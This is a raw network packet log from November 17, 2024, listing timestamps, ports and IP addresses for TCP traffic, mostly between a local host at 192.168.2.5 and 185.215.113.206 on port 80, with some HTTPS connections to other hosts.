Nov 17, 2024 12:35:40.185774088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185786963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185801029 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185806990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185823917 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185847044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185890913 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185904980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185919046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185934067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.185961962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.185972929 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186017990 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186033964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186048031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186063051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186078072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186100006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186106920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186106920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186126947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186172962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186273098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186285019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186299086 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186316013 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186326981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186328888 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186342955 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186357975 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186359882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186373949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186379910 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186388016 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186399937 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186403036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186418056 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186427116 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186434031 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186449051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186455965 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186465025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186474085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186501980 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186690092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186711073 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186727047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186742067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186748981 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186757088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186770916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186779976 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186786890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186801910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186817884 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186830044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186831951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186849117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186851978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186861038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.186871052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.186898947 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187042952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187058926 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187074900 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187082052 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187089920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187108040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187112093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187125921 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187135935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187139034 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187144041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187179089 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187202930 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187256098 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.187271118 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187284946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187303066 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187330008 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187330008 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187330008 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187345028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187349081 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187366962 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187386990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187428951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187450886 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187459946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187460899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187469006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187477112 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187484026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187506914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187506914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187547922 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187550068 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187566042 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187578917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187586069 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187593937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187609911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187617064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187624931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187639952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187649012 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187654972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187665939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187670946 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187685966 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187694073 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187702894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187716961 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.187764883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.187764883 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.188077927 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.188077927 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.188091040 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.188441992 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.188973904 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.189033985 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.189151049 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.189558983 CET	49906	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.189583063 CET	443	49906	20.42.65.85	192.168.2.5
Nov 17, 2024 12:35:40.206762075 CET	49905	443	192.168.2.5	20.42.65.85
Nov 17, 2024 12:35:40.224334002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224349022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224380970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224390030 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.224416971 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.224435091 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.224441051 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224456072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224479914 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.224494934 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.224524021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224559069 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.224600077 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.232863903 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.232882023 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.232928991 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.232953072 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.232995033 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.256166935 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.256326914 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.256392956 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.257014036 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.257045984 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.257059097 CET	49907	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.257065058 CET	443	49907	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.261152983 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.261179924 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.261255980 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.261281013 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.261327982 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.261334896 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.261348963 CET	443	49908	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.261389017 CET	49908	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.265592098 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.265607119 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.265661955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.268857002 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.268908024 CET	443	49913	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.268965960 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.268984079 CET	49913	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.268990040 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.269020081 CET	49911	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.269028902 CET	443	49911	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.272280931 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.272336960 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.272386074 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.272394896 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.272490025 CET	443	49910	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.272533894 CET	49910	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.293039083 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.293129921 CET	443	49909	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:40.293195009 CET	49909	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:40.298804045 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.298856020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.298871040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.298885107 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.298928022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.299082994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299108028 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299129009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299149990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.299176931 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.299201965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299216986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299261093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.299289942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299304962 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299329996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.299345970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.299367905 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.301672935 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301723957 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.301727057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301740885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301768064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.301779985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.301795006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301810026 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301825047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301840067 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301850080 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.301893950 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.301939964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301953077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.301980972 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302006006 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302228928 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302256107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302268028 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302278996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302289963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302321911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302337885 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302365065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302380085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302396059 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302396059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302428007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302491903 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302506924 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302524090 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302526951 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302551985 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302563906 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302690983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302747965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302762032 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302778959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302786112 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302823067 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302824974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302860022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302911043 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302925110 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302944899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302947044 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302961111 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.302961111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.302978039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303025007 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303047895 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303062916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303077936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303093910 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303102970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303131104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303248882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303262949 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303282976 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303291082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303292036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303302050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303308964 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303328991 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303352118 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303451061 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303467035 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303481102 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303498030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303503990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303515911 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303519011 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303553104 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303596020 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303611040 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303658009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303658009 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303684950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303699970 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303714991 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303730965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303740978 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303772926 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303823948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303843021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303883076 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303884983 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.303966999 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.303988934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304006100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304020882 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304037094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304045916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304045916 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304050922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304066896 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304074049 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304080963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304099083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304111004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304166079 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304244041 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304259062 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304291010 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304316998 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304332972 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304347038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304362059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304377079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304387093 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304390907 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304406881 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304425955 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304446936 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304636002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304649115 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304662943 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304677963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304681063 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304696083 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304708004 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304712057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304735899 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304749966 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304764986 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304780006 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304795980 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304811954 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304816961 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304826975 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304841995 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304847956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304851055 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304877043 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304893970 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.304959059 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304971933 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.304985046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305006027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305008888 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305047035 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305104017 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305121899 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:40.305144072 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:40.305145979 CET	80	49778	185.215.113.206	192.168.2.5
